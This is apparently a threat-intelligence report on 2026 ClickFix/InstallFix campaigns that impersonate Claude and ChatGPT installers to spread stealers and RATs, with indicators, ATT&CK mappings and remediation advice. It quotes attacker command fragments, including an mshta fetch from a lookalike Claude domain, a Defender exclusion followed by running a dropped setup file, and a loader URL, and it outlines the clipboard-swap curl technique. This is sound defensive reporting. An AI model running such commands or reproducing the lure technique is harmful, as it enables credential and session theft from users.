Threat reportPhishingTL-2026-3774
Fake Claude and ChatGPT impersonation campaigns (ClickFix/InstallFix) deliver infostealers and RATs to developers and enterprise employees
Fake Claude and ChatGPT impersonation campaigns (TL-2026-3774), also tracked as InstallFix, is a high-severity phishing campaign, first published 2026-10-16. It has no confirmed attribution, affects Anthropic Claude / Claude Code (brand and installer impersonated), maps to 18 MITRE ATT&CK techniques (T1027, T1036, T1053.005), and is covered by 9 detection rules and 27 indicators of compromise.
- Severity
- HIGHAssessed severity
- CVEs
- 0None referenced
- Techniques
- 18MITRE ATT&CK
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 27Indicators of compromise
Key facts for TL-2026-3774
- Threat ID
- TL-2026-3774
- Also known as
- InstallFix, ClickFix AI impersonation, AcSig ClickFix toolkit
- Severity
- HIGH
- Status
- ACTIVE
- Category
- PHISHING
- First published
- Last reviewed
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Target sectors
- technology, software-development, marketing-advertising, enterprise, cryptocurrency
- Target regions
- Global, Asia-Pacific, Europe
- Detection rules
- 9
- Indicators of compromise
- 27
Malware and tooling in Fake Claude and ChatGPT impersonation campaigns
Malware and tooling: Amatera Stealer, AsyncRAT, Aura Stealer, HijackLoader, MacSync Stealer, Quasar RAT
How Fake Claude and ChatGPT impersonation campaigns works
ANY.RUN analyzed 1,258 public sandbox submissions (2026-04-15 to 2026-10-05) of AI-brand impersonation campaigns, with Claude impersonated in 60% and ChatGPT/Codex in 33%. Lures use fake CLI install commands, ClickFix download pages, malicious shared chats/artifacts, trojanized installers and fake sign-in windows to deliver stealers (MacSync, Aura, Amatera) and RATs (AsyncRAT, Quasar), exposing source code, cloud/AI API keys, browser sessions, ad accounts and billing access.
No CVE is involved; the threat is user-execution social engineering that abuses trust in AI brands. ANY.RUN reviewed 1,258 public sandbox submissions between 2026-04-15 and 2026-10-05. Claude was impersonated in about 60% of analyses and ChatGPT/OpenAI Codex in about 33%. Command-execution prompts were present in roughly 45% of cases: fake CLI installers (InstallFix) were 27% and traditional ClickFix download pages 17%. Other lure types were malicious shared conversations/artifacts on legitimate AI platforms, trojanized installers (Claude, ChatGPT, Copilot) hosted on GitHub, malvertising and SEO poisoning, Browser-in-the-Browser fake Google sign-in windows, and fake AI advertising-invitation phishing aimed at marketing staff (July-September 2026). Families identified include Aura Stealer, MacSync Stealer, AsyncRAT, Quasar RAT, HijackLoader and Amatera (an ACR/Lumma-lineage stealer).
macOS chain (Trend Micro, Push Security, 7AI): Google Ads for queries such as 'claude mac' lead, sometimes via a Bing click-tracking redirect (bing.com/ck/a) through a compromised WordPress site, to cloned Claude install pages (claude-desk-code[.]com) or to GitLab Pages sites (92 unique *.gitlab.io hostnames) and claude.ai shared chats. The page shows the legitimate command 'curl -fsSL https://claude.ai/install.sh | bash' but clipboard manipulation substitutes a base64-encoded curl pipeline to attacker infrastructure (lake-90[.]com; loserrq0j1sha8[.]com/debug/loader.sh). The loader exits if a Russian keyboard layout is detected (IS_CIS=TRUE) and otherwise fetches the MacSync infostealer, which harvests Keychain, browser credentials/cookies, SSH keys and crypto-wallet files, stages /tmp/osalogging.zip and uploads it with up to 8 retries. The fake site cloaks itself by checking the Bing/Google referrer and browser headers and returns 404 on direct access. Push Security tracks the toolkit as 'AcSig'. Trend Micro observed six waves between 2026-04-08 and 2026-06-14; Anthropic banned the responsible accounts and disabled the malicious shared conversations after notification.
Windows chains: Rapid7 (detection 2026-04-09) analyzed a ClickFix lure where the victim runs mshta from the Run dialog (RunMRU artifact) to fetch a fake claude.msixbundle (HTA in a ZIP containing obfuscated VBS), followed by an encoded PowerShell stager that blanks amsiContext (0x41414141), multi-layer base64 ScriptBlocks, and XOR-encrypted shellcode injected via Nt* APIs. 7AI observed a malicious VS Code extension spawning PowerShell, then 'mshta https://claude-code.official-version[.]com/claude' or Add-MpPreference -ExclusionPath C:\temp followed by C:\temp\CrossMark2-Setup.exe, with a2abotnet[.]com C2. ANY.RUN observed a trojanized Claude installer (claude-ai[.]us) that created an 'mseupdate' scheduled task, launched Edge with remote debugging enabled and exfiltrated cookies and extension data for session hijacking. Attribution: no named actor; several independent clusters (including the AcSig toolkit) are involved. Severity HIGH is an analyst judgment based on credential, source-code and session exposure. The Dark Reading article itself returned HTTP 403, so its content was corroborated through the ANY.RUN-derived summary (Mallory) and search snippets.
MITRE ATT&CK techniques used in TL-2026-3774
Defense Evasion
T1027 Obfuscated Files or Information; T1036 Masquerading; T1055 Process Injection; T1218.005 Mshta
Persistence
Execution
T1059.001 PowerShell; T1059.004 Unix Shell; T1059.005 Visual Basic; T1204.002 Malicious File; T1204.004 Malicious Copy and Paste
Collection
T1185 Browser Session Hijacking
Credential Access
T1539 Steal Web Session Cookie; T1555.003 Credentials from Web Browsers
Initial Access
Resource Development
T1583.001 Domains; T1583.008 Malvertising; T1608.001 Upload Malware
defense-impairment
Affected products and versions in Fake Claude and ChatGPT impersonation campaigns
Remediation for Fake Claude and ChatGPT impersonation campaigns
Immediate actions
- Block and sinkhole the listed domains (claude-desk-code[.]com, lake-90[.]com, loserrq0j1sha8[.]com, a2abotnet[.]com, official-version[.]com, claude-ai[.]us, oakenfjrod[.]ru) and review proxy logs for hits
- Hunt for mshta.exe launched from the Run dialog (RunMRU) and for PowerShell/zsh pipelines decoding base64 URLs to curl
- Hunt for Defender exclusion changes on C:\temp, 'mseupdate' scheduled tasks and Edge launched with --remote-debugging-port
- Rotate browser-stored credentials, session cookies, SSH keys, cloud and AI API keys on any host that ran a fake installer
Workarounds
- Type install commands from official vendor documentation instead of copying from search ads or shared chats
- Disable the Win+R Run dialog where operationally feasible
Longer-term hardening
- Allow AI tooling only from approved vendor sources and enforce application allowlisting
- Restrict or alert on commands pasted into Terminal/Run/PowerShell from browsers; train developers on ClickFix/InstallFix
- Vet browser and IDE extensions (VS Code) and restrict sponsored-search installs on managed endpoints
- Enforce phishing-resistant MFA and short-lived tokens to limit stolen-session impact
Timeline of Fake Claude and ChatGPT impersonation campaigns
- Trend Micro-tracked Google Ads/GitLab Pages ClickFix campaign delivering MacSync begins (first of six waves through 2026-06-14)
- Rapid7 detects ClickFix lure delivering fake claude.msixbundle via mshta from the Run dialog
- Start of the ANY.RUN sandbox-submission window (1,258 analyses) used to quantify AI-brand impersonation campaigns
- Early June (month-level): ANY.RUN identifies ClickFix campaign mimicking Claude Code and OpenAI Codex hosted on Google Sites
- Final of six attack waves observed by Trend Micro; Anthropic bans responsible accounts and disables malicious shared conversations after notification
- July-September 2026 (month-level start): AI advertising-invitation phishing targeting marketing personnel observed by ANY.RUN
- August 2026 (month-level): payload delivery through Claude artifacts observed
- September 2026 (month-level): ChatGPT shared chats weaponized and a final InstallFix chain detected
- End of the ANY.RUN analysis window (1,258 submissions)
- BleepingComputer reports Google Ads/Bing-redirect Claude ClickFix campaign (claude-desk-code[.]com, AcSig toolkit) per Push Security
- Dark Reading publishes coverage of the ANY.RUN findings: fake Claude/ChatGPT attacks surge, putting developers at risk
Sources cited for Fake Claude and ChatGPT impersonation campaigns
- Fake Claude, ChatGPT Attacks Surge, Putting Developers at Risk
- Fake Claude, ChatGPT and Copilot Tools Deliver Stealers and Phish Business Accounts (ANY.RUN findings summary)
- Rapid7 Analysis: ClickFix-style Phishing Campaign Uses Fake Claude Installer
- Threat Actors Abuse claude.ai Shared Chat for ClickFix Malvertising Campaign (Trend Micro)
- Hackers abuse Google Ads, Bing redirects to push Claude ClickFix attacks
- Claude Fraud - Weaponizing AI Developer Tooling Against the Security Community (7AI)
- AI Coding Tools Under Fire: Mapping the Malvertising Campaigns Targeting the Vibe Coding Ecosystem (Pillar Security)
- CSA Research Note: AI Developer Tool Impersonation - Typosquatting, Fake Install Guides, and InfoStealer Delivery
Detection coverage for TL-2026-3774
As of 2026-10-16, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-3774 across Splunk SPL, Microsoft KQL and Sigma, covering 27 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.
Community OSINT corroboration for TL-2026-3774
1 of this threat's indicators have also been reported by the open-source security community. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.